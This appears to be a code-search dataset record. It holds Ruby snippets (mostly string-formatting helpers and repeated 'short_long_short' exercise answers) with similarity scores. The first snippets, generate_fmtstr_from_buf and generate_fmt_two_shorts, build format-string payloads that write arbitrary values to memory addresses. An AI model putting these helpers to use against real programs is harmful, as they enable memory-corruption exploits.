"def generate_fmtstr_from_buf(num_printed, write_to, buffer, targ = target)\n\t\t\n\t\t# break buffer into shorts\n\t\tarr = fmtstr_gen_array_from_buf(write_to, buffer, targ)\n\t\t\n\t\t# now build the format string in its entirety\n\t\tstuff = fmtstr_gen_from_array(num_printed, arr, targ)\n\tend",
"def format_ouput(str1,str2)\n len = 50 - str1.length\n space = \"#{'-' * len}\".to_s\n str1.concat(space)\n str1.concat(str2.to_s)\n str1\nend",
"def short_long_short(a, b)\n\n if a.length < b.length\n puts a + b + a\n elsif\n a.length > b.length\n puts b + a + b\n end\nend",
"def short=(value)\n raise ArgumentError, _(\"Short names can only be one character.\") if value.to_s.length != 1\n @short = value.to_s\n end",
"def short_long_short(word1, word2)\n\n\tlongest = word1.size <=> word2.size\n\n\tif longest == 1\n\t\t\"#{word2}#{word1}#{word2}\"\n\t\telsif longest == -1\n\t\t\"#{word1}#{word2}#{word1}\"\n\tend\t\nend",
"def write_int16(int)\n write([int].pack(\"s>\"))\n end",
"def short_long_short(first, second)\n first.length < second.length ?\n first + second + first :\n second + first + second\nend",
"def write_word16_native(val)\n pw(val, 'S')\n end",
"def short_time\n \ttime.strftime \"%b %-d\"\n end",
"def sprintf(fmt, *rest) end",
"def short_long_short(string_one, string_two)\n string_one.length > string_two.length ? string_two + string_one + string_two :\n string_one + string_two + string_one\nend",
"def short_long_short(str1, str2)\n\tif str1.length < str2.length\n\t\tstr1 + str2 + str1\n\telse\n\t\tstr2 + str1 + str2\n\tend\n\t\nend",
"def pack_format\n \"a#{width}\"\n end",
"def short_long_short(string1, string2)\n long_string = ' '\n short_string = ' '\n\n if string1.size > string2.size\n long_string = string1\n short_string = string2\n short_string + long_string + short_string\n elsif string2.size > string1.size\n long_string = string2\n short_string = string1\n short_string + long_string + short_string\n end\n\nend",
"def short_long_short(string1, string2)\n if string1.length > string2.length\n [string2, string1, string2].join\n else\n [string1, string2, string1].join\n end\nend",
"def write16(data, options = {})\n dw \"w2 0x#{extract_address(data, options).to_s(16).upcase}, 0x#{extract_data(data, options).to_s(16).upcase}\"\n end",
"def short_long_short(string1, string2)\n if string1.size > string2.size\n long_string = string1\n short_string = string2\n else\n long_string = string2\n short_string = string1\n end\n\n short_string + long_string + short_string\n\nend",
"def short_long_short(string1, string2)\n if string1.length > string2.length\n puts string2 + string1 + string2\n else\n puts string1 + string2 + string1\n end\nend",
"def to_s(offset: 0)\n \"%-#{offset}s %s\" % [flag, desc]\n end",
"def short_long_short(str1, str2)\n\tif str1.length > str2.length\n\t\tstr2 + str1 + str2\n\telse\n\t\tstr1 + str2 + str1\n\tend\nend",
"def c_build_format_string(mne, tokens, field_format)\n fmt_a = []\n\n tokens.each{|t|\n if (field_format.include?(t))\n fmt_a << field_format[t][0]\n else\n fmt_a << t\n end\n }\n\n fmt_s = mne\n\n if (!fmt_a.empty?)\n fmt_s += ' ' + fmt_a.join\n end\n\n return '\"' + fmt_s + '\"'\nend",
"def short_long_short(x, y)\n if x.length > y.length\n y + x + y\n else \n x + y + x\n end \nend",
"def short_long(str1, str2)\n first = false\n if str1.length < str2.length\n first = true\n end\n if first\n puts \"#{str1}#{str2}#{str1}\"\n else\n puts \"#{str2}#{str1}#{str2}\"\n end\nend",
"def to_s\n return 'length=short' if short?\n return 'length=long' if long?\n\n 'length=unset'\n end",
"def putfield(format,key,value)\n format = 'a' if format.nil?\n field = \"#{key} : #{format =~ /^a.*$/ ? hexstring(value) : value}\"\n field = field[0..40] + '...'+ field[-40..-1] if field.size > 80 # centre-truncate long strings\n puts field\nend",
"def short\n @short\n end",
"def write_multi_debug code_length\n result = ['4A000004 00000001'] # start at quantity 1\n\n write_amount = zero_pad_int(code_length, 3)\n result + [\"4#{write_amount}0010 00000001\"] # increase by 1\n end",
"def short_long_short(txt1, txt2)\n txt1.length < txt2.length ? (shrt_txt, lng_txt = txt1, txt2) : (shrt_txt, lng_txt = txt2, txt1) \n shrt_txt + lng_txt + shrt_txt\nend",
"def short; end",
"def encode_short(val)\n raise 'Value too big for short' if val > 0xffff\n [val.to_i].pack('n')\n end",
"def short_long_short(str1, str2)\n if str1.length > str2.length\n str2 + str1 + str2\n else\n str1 + str2 + str1\n end\nend",
"def short_long_short(str1, str2)\n if str1.length > str2.length\n str2 + str1 + str2\n else\n str1 + str2 + str1\n end\nend",
"def get_short\n get(2).unpack('s')\n end",
"def to_s\n format '%-6s %-8s %s', @type.to_s.upcase, @label, @bit\n end",
"def short\n Util.from_bytes :short, value\n end",
"def short_long_short(str1, str2)\n if str1.length < str2.length\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short_long_short(str1, str2)\n if str1.length <= str2.length\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def format(precise: false)\n return '-' if @ms.nil?\n\n return Kernel.format('%02d:%02d:%02d.%03d', hours, minutes, seconds, milliseconds) if precise\n Kernel.format('%02d:%02d:%02d', hours, minutes, seconds)\n end",
"def to_s(format = :short)\n case format\n when :elasticsearch\n sprintf(\"%04d-%02dw%02d\", year, month, week)\n when :long\n \"#{year}:#{year_week} #{self.to_s(:short)}\"\n else\n \"#{MONTHS[month - 1]} W#{week}\"\n end\n end",
"def write_fixnum(num)\n write_1 SMALL_INT\n write_1 num\n end",
"def to_ps\n ret = \"#{self.class.name}:\\n\"\n c = 0\n @fields.each_pair do |p|\n field = p[1]\n next if field.nil?\n if field.is_a?(NumField) || field.is_a?(ApduList)|| field.is_a?(VarNumField)\n if field.optfield.nil? || field.optfield.value == 1\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, field.hexstr)\n else\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \"--\")\n end\n c = 0\n else #only for bitfield\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \" \" * c + field.bitstr)\n c += field.length\n end\n end\n return ret\n end",
"def build_string(arr,num)\n \"#{truncation(arr)}#{abbr(num)}\"\n end",
"def formatOunces(value)\n\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\tend",
"def format(fmt, *rest) end",
"def short_long_short(str_a, str_b)\n if str_a.size > str_b.size\n return str_b + str_a + str_b\n else\n return str_a + str_b + str_a\n end\nend",
"def write16(val)\n\tval = (-val) | 0x8000 if val < 0\n\tputc((val >> 8) & 0xff)\n\tputc(val & 0xff)\n end",
"def formatOunces(value)\n\t\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\t\tend",
"def short_long_short(str1, str2)\n if str1.size < str2.size\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short_long_short(str1, str2)\n if str1.size < str2.size\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short_long_short(str1, str2)\n if str1.size < str2.size\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short_long_short(str1, str2)\nnew_str = ''\nstr1.length < str2.length ? new_str + str1 + str2 + str1 : new_str + str2 + str1 + str2\nend",
"def short_long_short(string1, string2)\n if string1.length > string2.length\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend",
"def short_long_short(str1, str2)\n if str1.length > str2.length\n str2 + str1 + str2\n elsif str2.length > str1.length\n str1 + str2 + str1\n end\nend",
"def format_option option, value\n return \"#{option.rjust(RIGHT_ALIGNMENT)} = #{value}\"\nend",
"def format(precise: false, sign: :negatives)\n return '-' if @ms.nil?\n\n format = ['%02d', ':%02d', ':%02d']\n components = [hours, minutes, seconds]\n\n if precise\n format << '.%02d'\n components << (milliseconds / 10)\n end\n\n if sign == :always || (sign == :negatives && negative?)\n format[0] = '%0+2d'\n return Kernel.format(format.join, *components)\n end\n\n Kernel.format(format.join, *components)\n end",
"def short_long_short(string1, string2)\n if string1.size > string2.size\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend",
"def to_s\n short || name[0]\n end",
"def format; :n3; end",
"def format(tag, time, record)\n @packer.pack([tag, time, record]).to_s\n end",
"def sformat(condensed = true)\n\t\tstr = \"\"\n\t\t\n\t\t@path.sequence.each_with_index { |path_step, index|\n\t\t\tnext if condensed && path_step.ls_trivial? &&\n\t\t\t\t(1..(@path.length - 2)) === index\n\t\t\t\n\t\t\tstr += \"Visit room: #{path_step.room.id}\"\n\t\t\t\n\t\t\tstr += \" and set #{path_step.ls.sformat}\" if !path_step.ls_trivial?\n\t\t\t\n\t\t\tstr += \"\\n\"\n\t\t}\n\t\t\n\t\tstr\n\tend",
"def test_short\n LinuxFortune.short = true\n assert LinuxFortune.short # short should be set to true\n assert LinuxFortune.long == false # long to false\n assert LinuxFortune.fortune_options.include?(\"-s\")\n assert LinuxFortune.fortune_options.include?(\"-n\") || LinuxFortune.short_length == 160\n 10.times do # check multiple times if the generated length is ok\n lf = LinuxFortune.generate\n assert lf.body.size*0.9 < LinuxFortune.short_length # check if actual size is less than the max. short length\n end\n end",
"def to_s(format = 'short')\n #create string to hold address which we will implicitly return\n address = ''\n \n #if you leave off the CASE FORMAT your will get a syntax error, unexpected keyword_when, expecting keyword_end when 'short'\n\n case format\n #ask why we had to put the long case above the short?\n when 'long'\n address += street_1 + \"\\n\"\n address += street_2 + \"\\n\" if !street_2.nil?\n address += \"#{city}, #{state} #{zipcode}\"\n when 'short'\n address += \"#{type}: \"\n address += street_1\n if street_2\n address += \" \" + street_2\n end\n address += \", #{city}, #{state}, #{zipcode}\"\n end\n address\n end",
"def write_long(*n); end",
"def short_long_short(string1, string2)\n if string1.length < string2.length\n string1 + string2 + string1\n else \n string2 + string1+ string2\n end \nend",
"def short_name(how_short = 55)\n\t\tstr = self.name\n\t\tshortname = (str.length > how_short) ? (str[0..how_short] + \"...\") : str\n\t\treturn shortname\n\tend",
"def format(format, *arguments); end",
"def short_for_optparse\n (arg and long.nil?) ? (\"%s %s\" % [short, arg]) : short\n end",
"def to_s; \"#{@type}#{length_spec}\" end",
"def cdr_to_fmt\n '%s'\n end",
"def short_long_short(str1, str2)\n str1.length < str2.length ? (str1 + str2 + str1) : (str2 + str1 + str2)\nend",
"def fmt(cmd); \" %s %s\" % [cmd[:time].strftime(@options[:time_format]), cmd[:cmd]]; end",
"def write_snippet(file, sample_data)\n if @bits_per_sample == 8\n pack_code = \"C*\"\n elsif @bits_per_sample == 16\n pack_code = \"s*\"\n end\n \n if @num_channels == 1\n file.syswrite(sample_data.pack(pack_code))\n else\n file.syswrite(sample_data.flatten.pack(pack_code))\n end\n end",
"def short_long_short(str1, str2)\n str_arr = [str1, str2]\n short_str = str_arr.min { |a, b| a.size <=> b.size }\n long_str = str_arr.max { |a, b| a.size <=> b.size }\n \n short_str + long_str + short_str\nend",
"def short\n \"#{rank(true)}#{suit(true)}\"\n end",
"def pretty\n cpf_numbers = numeric\n \"%s.%s.%s-%s\" % [cpf_numbers[0..2], cpf_numbers[3..5], cpf_numbers[6..8], cpf_numbers[9..10]]\n end",
"def format(*args)\n to_s % [*args]\n end",
"def short_long_short(first, second)\n if first.size > second.size\n longest = first\n shortest = second\n elsif second.size > first.size\n longest = second\n shortest = first\n else\n return 'Impossibru!'\n end\n shortest.concat(longest, shortest)\nend",
"def format_patterns(patterns)\n patterns.collect {|x| \"\\\"fast:#{x}\\\"\"}.join(' ')\nend",
"def short_long_short(str1, str2)\n new_string = ''\n if str1.size > str2.size\n new_string = str2 + str1 + str2\n else\n new_string = str1 + str2 + str1\n end\n new_string\nend",
"def dbstr(args = nil)\n str = \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day}\"\n \n if !args or (!args.key?(:time) or args[:time])\n str << \" #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n end\n \n return str\n end"
] |
[
"0.68767995",
"0.6874793",
"0.6735081",
"0.66097164",
"0.6192629",
"0.6080826",
"0.6077174",
"0.6045795",
"0.5999063",
"0.593463",
"0.5823784",
"0.57817584",
"0.5774021",
"0.57727826",
"0.572933",
"0.57265",
"0.57073355",
"0.56661266",
"0.5638022",
"0.56130415",
"0.56066006",
"0.5603599",
"0.5599969",
"0.5589905",
"0.55746895",
"0.55608183",
"0.5558587",
"0.5539295",
"0.55369574",
"0.55248195",
"0.55228084",
"0.5508249",
"0.55007416",
"0.5472003",
"0.5459406",
"0.54380333",
"0.5428928",
"0.54265505",
"0.5422654",
"0.5416103",
"0.54092765",
"0.5389197",
"0.53793794",
"0.53762513",
"0.5372188",
"0.5367651",
"0.5358324",
"0.5356784",
"0.5340493",
"0.53391063",
"0.5297624",
"0.5297624",
"0.52932316",
"0.52860904",
"0.5286069",
"0.52859366",
"0.52546096",
"0.52425194",
"0.52418435",
"0.52321714",
"0.5231906",
"0.5228862",
"0.52242506",
"0.5216402",
"0.52134395",
"0.52111536",
"0.5204064",
"0.5202515",
"0.5202515",
"0.5202515",
"0.52018523",
"0.51826143",
"0.5181432",
"0.51766855",
"0.5172255",
"0.5170162",
"0.51695246",
"0.51668054",
"0.5162089",
"0.5161269",
"0.5160555",
"0.515958",
"0.51579565",
"0.5144505",
"0.5142138",
"0.5137656",
"0.5137268",
"0.513477",
"0.51337355",
"0.5130729",
"0.51303476",
"0.51264805",
"0.51226616",
"0.5115807",
"0.51120925",
"0.5108964",
"0.51083875",
"0.5106261",
"0.5104548",
"0.51029634"
] |
0.7700514
|
0
|
Generates a format string that will perform an arbitrary write using two separate short values
|
def generate_fmtstr_from_buf(num_printed, write_to, buffer, targ = target)
# break buffer into shorts
arr = fmtstr_gen_array_from_buf(write_to, buffer, targ)
# now build the format string in its entirety
stuff = fmtstr_gen_from_array(num_printed, arr, targ)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_fmt_two_shorts(num_printed, write_to, write_what, targ = target)\n\t\t\n\t\tarr = Array.new\n\t\tarr << [ write_what & 0xffff, write_to ]\n\t\tarr << [ write_what >> 16, write_to + 2 ]\n\t\t\n\t\tstuff = fmtstr_gen_from_array(num_printed, arr, targ)\n\tend",
"def write_short(file, short, md)\n short = [short].pack('n')\n md << short\n file.write(short)\n end",
"def write_raw_short(val)\n buffer << [val].pack(\"S>\")\n end",
"def short(*shorts)\n format = ( little_endian? ? 'v*' : 'n*') \n return string(shorts.pack(format)) \n end",
"def write_short(status, data1, data2, timestamp = 0)\n PM_Map.Pm_WriteShort(@out_stream, timestamp, PM_Map.encode_message(status, data1, data2))\n end",
"def short_long_short(first, second)\n first.length > second.size ? \"#{second}#{first}#{second}\" : \"#{first}#{second}#{first}\"\nend",
"def fmtstr_target_short(value, num_printed)\n\t\tif value < num_printed\n\t\t\treturn (0x10000 - num_printed) + value\n\t\tend\n\t\treturn value - num_printed\n\tend",
"def short_long_short(string1, string2)\r\n if string1.length > string2.length\r\n \"#{string2}#{string1}#{string2}\"\r\n else\r\n \"#{string1}#{string2}#{string1}\"\r\n end\r\nend",
"def concat_strings(short, long)\n short + long + short\nend",
"def short_long_short(str_one, str_two)\n if str_one.size > str_two.size \n \"#{str_two}#{str_one}#{str_two}\" \n else\n \"#{str_one}#{str_two}#{str_one}\"\n end\nend",
"def short\n quality + number.to_s \n end",
"def short_long_short(str1, str2)\n str1.size > str2.size ? \"#{str2}#{str1}#{str2}\" : \"#{str1}#{str2}#{str1}\"\nend",
"def short_long_short(one, two)\n if one.length < two.length\n shorter, longer = one, two\n else\n shorter, longer = two, one\n end\n\n shorter + longer + shorter\nend",
"def short_long_short(str1, str2)\n short = ''\n long = ''\n if str1.length > str2.length\n short = str2\n long = str1\n else\n short = str1\n long = str2\n end\n short + long + short\nend",
"def short_long_short(str1, str2)\n return \"#{str1}#{str2}#{str1}\" if str1.length < str2.length\n return \"#{str2}#{str1}#{str2}\" if str2.length < str1.length\nend",
"def short_long_short(s, s_2)\n s.length > s_2.length ? s_2 + s + s_2 : s + s_2 + s\nend",
"def shorten\n\t\tp \"** #{self.id} | #{self.long}\"\n\t\t# self.short = Base64.urlsafe_encode64(\"rudy\" + \"[#{self.id}]\")\n\t\t# self.short = Base64.urlsafe_encode64(\"rudy\" + Time.now.to_i.to_s)\n\t\tself.short = Base64.urlsafe_encode64(Time.now.to_i.to_s + SecureRandom.base64(5))\n\n\t\t# can use SecureRandom\n\n\t\tp \"**** #{self.short}\"\n\n\tend",
"def short_long_short(st1, st2)\n st1.length < st2.length ? st1 + st2 + st1 : st2 + st1 + st2\nend",
"def short_long_short(str1, str2)\n concat_string = ''\n \n if str1.size < str2.size\n concat_string << str1\n concat_string << str2\n concat_string << str1\n else\n concat_string << str2\n concat_string << str1\n concat_string << str2\n end\n concat_string\nend",
"def strf_standard(datetime, length)\n\t\tif length == 'short'\n\t\t\treturn datetime.strftime('%a %k:%M%P - %b %-d')\n\t\tend\n\tend",
"def append_short(s=nil)\n if s.class == Fixnum && !block_given?\n @j_del.java_method(:appendShort, [Java::short.java_class]).call(::Vertx::Util::Utils.to_short(s))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling append_short(s)\"\n end",
"def format_ouput(str1,str2)\n len = 50 - str1.length\n space = \"#{'-' * len}\".to_s\n str1.concat(space)\n str1.concat(str2.to_s)\n str1\nend",
"def short_long_short(a, b)\n\n if a.length < b.length\n puts a + b + a\n elsif\n a.length > b.length\n puts b + a + b\n end\nend",
"def short=(value)\n raise ArgumentError, _(\"Short names can only be one character.\") if value.to_s.length != 1\n @short = value.to_s\n end",
"def short_long_short(word1, word2)\n\n\tlongest = word1.size <=> word2.size\n\n\tif longest == 1\n\t\t\"#{word2}#{word1}#{word2}\"\n\t\telsif longest == -1\n\t\t\"#{word1}#{word2}#{word1}\"\n\tend\t\nend",
"def write_int16(int)\n write([int].pack(\"s>\"))\n end",
"def short_long_short(first, second)\n first.length < second.length ?\n first + second + first :\n second + first + second\nend",
"def write_word16_native(val)\n pw(val, 'S')\n end",
"def short_time\n \ttime.strftime \"%b %-d\"\n end",
"def sprintf(fmt, *rest) end",
"def short_long_short(string_one, string_two)\n string_one.length > string_two.length ? string_two + string_one + string_two :\n string_one + string_two + string_one\nend",
"def short_long_short(str1, str2)\n\tif str1.length < str2.length\n\t\tstr1 + str2 + str1\n\telse\n\t\tstr2 + str1 + str2\n\tend\n\t\nend",
"def pack_format\n \"a#{width}\"\n end",
"def short_long_short(string1, string2)\n long_string = ' '\n short_string = ' '\n\n if string1.size > string2.size\n long_string = string1\n short_string = string2\n short_string + long_string + short_string\n elsif string2.size > string1.size\n long_string = string2\n short_string = string1\n short_string + long_string + short_string\n end\n\nend",
"def short_long_short(string1, string2)\n if string1.length > string2.length\n [string2, string1, string2].join\n else\n [string1, string2, string1].join\n end\nend",
"def write16(data, options = {})\n dw \"w2 0x#{extract_address(data, options).to_s(16).upcase}, 0x#{extract_data(data, options).to_s(16).upcase}\"\n end",
"def short_long_short(string1, string2)\n if string1.size > string2.size\n long_string = string1\n short_string = string2\n else\n long_string = string2\n short_string = string1\n end\n\n short_string + long_string + short_string\n\nend",
"def short_long_short(string1, string2)\n if string1.length > string2.length\n puts string2 + string1 + string2\n else\n puts string1 + string2 + string1\n end\nend",
"def to_s(offset: 0)\n \"%-#{offset}s %s\" % [flag, desc]\n end",
"def short_long_short(str1, str2)\n\tif str1.length > str2.length\n\t\tstr2 + str1 + str2\n\telse\n\t\tstr1 + str2 + str1\n\tend\nend",
"def c_build_format_string(mne, tokens, field_format)\n fmt_a = []\n\n tokens.each{|t|\n if (field_format.include?(t))\n fmt_a << field_format[t][0]\n else\n fmt_a << t\n end\n }\n\n fmt_s = mne\n\n if (!fmt_a.empty?)\n fmt_s += ' ' + fmt_a.join\n end\n\n return '\"' + fmt_s + '\"'\nend",
"def short_long_short(x, y)\n if x.length > y.length\n y + x + y\n else \n x + y + x\n end \nend",
"def short_long(str1, str2)\n first = false\n if str1.length < str2.length\n first = true\n end\n if first\n puts \"#{str1}#{str2}#{str1}\"\n else\n puts \"#{str2}#{str1}#{str2}\"\n end\nend",
"def to_s\n return 'length=short' if short?\n return 'length=long' if long?\n\n 'length=unset'\n end",
"def putfield(format,key,value)\n format = 'a' if format.nil?\n field = \"#{key} : #{format =~ /^a.*$/ ? hexstring(value) : value}\"\n field = field[0..40] + '...'+ field[-40..-1] if field.size > 80 # centre-truncate long strings\n puts field\nend",
"def short\n @short\n end",
"def write_multi_debug code_length\n result = ['4A000004 00000001'] # start at quantity 1\n\n write_amount = zero_pad_int(code_length, 3)\n result + [\"4#{write_amount}0010 00000001\"] # increase by 1\n end",
"def short_long_short(txt1, txt2)\n txt1.length < txt2.length ? (shrt_txt, lng_txt = txt1, txt2) : (shrt_txt, lng_txt = txt2, txt1) \n shrt_txt + lng_txt + shrt_txt\nend",
"def short; end",
"def encode_short(val)\n raise 'Value too big for short' if val > 0xffff\n [val.to_i].pack('n')\n end",
"def short_long_short(str1, str2)\n if str1.length > str2.length\n str2 + str1 + str2\n else\n str1 + str2 + str1\n end\nend",
"def short_long_short(str1, str2)\n if str1.length > str2.length\n str2 + str1 + str2\n else\n str1 + str2 + str1\n end\nend",
"def get_short\n get(2).unpack('s')\n end",
"def to_s\n format '%-6s %-8s %s', @type.to_s.upcase, @label, @bit\n end",
"def short_long_short(str1, str2)\n if str1.length < str2.length\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short\n Util.from_bytes :short, value\n end",
"def short_long_short(str1, str2)\n if str1.length <= str2.length\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def format(precise: false)\n return '-' if @ms.nil?\n\n return Kernel.format('%02d:%02d:%02d.%03d', hours, minutes, seconds, milliseconds) if precise\n Kernel.format('%02d:%02d:%02d', hours, minutes, seconds)\n end",
"def to_s(format = :short)\n case format\n when :elasticsearch\n sprintf(\"%04d-%02dw%02d\", year, month, week)\n when :long\n \"#{year}:#{year_week} #{self.to_s(:short)}\"\n else\n \"#{MONTHS[month - 1]} W#{week}\"\n end\n end",
"def to_ps\n ret = \"#{self.class.name}:\\n\"\n c = 0\n @fields.each_pair do |p|\n field = p[1]\n next if field.nil?\n if field.is_a?(NumField) || field.is_a?(ApduList)|| field.is_a?(VarNumField)\n if field.optfield.nil? || field.optfield.value == 1\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, field.hexstr)\n else\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \"--\")\n end\n c = 0\n else #only for bitfield\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \" \" * c + field.bitstr)\n c += field.length\n end\n end\n return ret\n end",
"def write_fixnum(num)\n write_1 SMALL_INT\n write_1 num\n end",
"def build_string(arr,num)\n \"#{truncation(arr)}#{abbr(num)}\"\n end",
"def formatOunces(value)\n\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\tend",
"def format(fmt, *rest) end",
"def short_long_short(str_a, str_b)\n if str_a.size > str_b.size\n return str_b + str_a + str_b\n else\n return str_a + str_b + str_a\n end\nend",
"def write16(val)\n\tval = (-val) | 0x8000 if val < 0\n\tputc((val >> 8) & 0xff)\n\tputc(val & 0xff)\n end",
"def formatOunces(value)\n\t\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\t\tend",
"def short_long_short(str1, str2)\n if str1.size < str2.size\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short_long_short(str1, str2)\n if str1.size < str2.size\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short_long_short(str1, str2)\n if str1.size < str2.size\n str1 + str2 + str1\n else\n str2 + str1 + str2\n end\nend",
"def short_long_short(str1, str2)\nnew_str = ''\nstr1.length < str2.length ? new_str + str1 + str2 + str1 : new_str + str2 + str1 + str2\nend",
"def short_long_short(string1, string2)\n if string1.length > string2.length\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend",
"def short_long_short(str1, str2)\n if str1.length > str2.length\n str2 + str1 + str2\n elsif str2.length > str1.length\n str1 + str2 + str1\n end\nend",
"def format_option option, value\n return \"#{option.rjust(RIGHT_ALIGNMENT)} = #{value}\"\nend",
"def format(precise: false, sign: :negatives)\n return '-' if @ms.nil?\n\n format = ['%02d', ':%02d', ':%02d']\n components = [hours, minutes, seconds]\n\n if precise\n format << '.%02d'\n components << (milliseconds / 10)\n end\n\n if sign == :always || (sign == :negatives && negative?)\n format[0] = '%0+2d'\n return Kernel.format(format.join, *components)\n end\n\n Kernel.format(format.join, *components)\n end",
"def format; :n3; end",
"def to_s\n short || name[0]\n end",
"def short_long_short(string1, string2)\n if string1.size > string2.size\n string2 + string1 + string2\n else\n string1 + string2 + string1\n end\nend",
"def format(tag, time, record)\n @packer.pack([tag, time, record]).to_s\n end",
"def sformat(condensed = true)\n\t\tstr = \"\"\n\t\t\n\t\t@path.sequence.each_with_index { |path_step, index|\n\t\t\tnext if condensed && path_step.ls_trivial? &&\n\t\t\t\t(1..(@path.length - 2)) === index\n\t\t\t\n\t\t\tstr += \"Visit room: #{path_step.room.id}\"\n\t\t\t\n\t\t\tstr += \" and set #{path_step.ls.sformat}\" if !path_step.ls_trivial?\n\t\t\t\n\t\t\tstr += \"\\n\"\n\t\t}\n\t\t\n\t\tstr\n\tend",
"def to_s(format = 'short')\n #create string to hold address which we will implicitly return\n address = ''\n \n #if you leave off the CASE FORMAT your will get a syntax error, unexpected keyword_when, expecting keyword_end when 'short'\n\n case format\n #ask why we had to put the long case above the short?\n when 'long'\n address += street_1 + \"\\n\"\n address += street_2 + \"\\n\" if !street_2.nil?\n address += \"#{city}, #{state} #{zipcode}\"\n when 'short'\n address += \"#{type}: \"\n address += street_1\n if street_2\n address += \" \" + street_2\n end\n address += \", #{city}, #{state}, #{zipcode}\"\n end\n address\n end",
"def test_short\n LinuxFortune.short = true\n assert LinuxFortune.short # short should be set to true\n assert LinuxFortune.long == false # long to false\n assert LinuxFortune.fortune_options.include?(\"-s\")\n assert LinuxFortune.fortune_options.include?(\"-n\") || LinuxFortune.short_length == 160\n 10.times do # check multiple times if the generated length is ok\n lf = LinuxFortune.generate\n assert lf.body.size*0.9 < LinuxFortune.short_length # check if actual size is less than the max. short length\n end\n end",
"def write_long(*n); end",
"def short_long_short(string1, string2)\n if string1.length < string2.length\n string1 + string2 + string1\n else \n string2 + string1+ string2\n end \nend",
"def short_name(how_short = 55)\n\t\tstr = self.name\n\t\tshortname = (str.length > how_short) ? (str[0..how_short] + \"...\") : str\n\t\treturn shortname\n\tend",
"def format(format, *arguments); end",
"def cdr_to_fmt\n '%s'\n end",
"def to_s; \"#{@type}#{length_spec}\" end",
"def short_for_optparse\n (arg and long.nil?) ? (\"%s %s\" % [short, arg]) : short\n end",
"def fmt(cmd); \" %s %s\" % [cmd[:time].strftime(@options[:time_format]), cmd[:cmd]]; end",
"def short_long_short(str1, str2)\n str1.length < str2.length ? (str1 + str2 + str1) : (str2 + str1 + str2)\nend",
"def write_snippet(file, sample_data)\n if @bits_per_sample == 8\n pack_code = \"C*\"\n elsif @bits_per_sample == 16\n pack_code = \"s*\"\n end\n \n if @num_channels == 1\n file.syswrite(sample_data.pack(pack_code))\n else\n file.syswrite(sample_data.flatten.pack(pack_code))\n end\n end",
"def short_long_short(str1, str2)\n str_arr = [str1, str2]\n short_str = str_arr.min { |a, b| a.size <=> b.size }\n long_str = str_arr.max { |a, b| a.size <=> b.size }\n \n short_str + long_str + short_str\nend",
"def pretty\n cpf_numbers = numeric\n \"%s.%s.%s-%s\" % [cpf_numbers[0..2], cpf_numbers[3..5], cpf_numbers[6..8], cpf_numbers[9..10]]\n end",
"def short\n \"#{rank(true)}#{suit(true)}\"\n end",
"def format(*args)\n to_s % [*args]\n end",
"def format_patterns(patterns)\n patterns.collect {|x| \"\\\"fast:#{x}\\\"\"}.join(' ')\nend",
"def short_long_short(first, second)\n if first.size > second.size\n longest = first\n shortest = second\n elsif second.size > first.size\n longest = second\n shortest = first\n else\n return 'Impossibru!'\n end\n shortest.concat(longest, shortest)\nend",
"def dbstr(args = nil)\n str = \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day}\"\n \n if !args or (!args.key?(:time) or args[:time])\n str << \" #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n end\n \n return str\n end",
"def short_long_short(str1, str2)\n new_string = ''\n if str1.size > str2.size\n new_string = str2 + str1 + str2\n else\n new_string = str1 + str2 + str1\n end\n new_string\nend"
] |
[
"0.77017176",
"0.68730545",
"0.6871862",
"0.6731931",
"0.66059905",
"0.61906",
"0.60821843",
"0.60754824",
"0.60441643",
"0.5997174",
"0.5933728",
"0.58222175",
"0.57790107",
"0.57720774",
"0.5771673",
"0.57262915",
"0.5724654",
"0.57045734",
"0.5665244",
"0.56384885",
"0.5608425",
"0.560595",
"0.55981916",
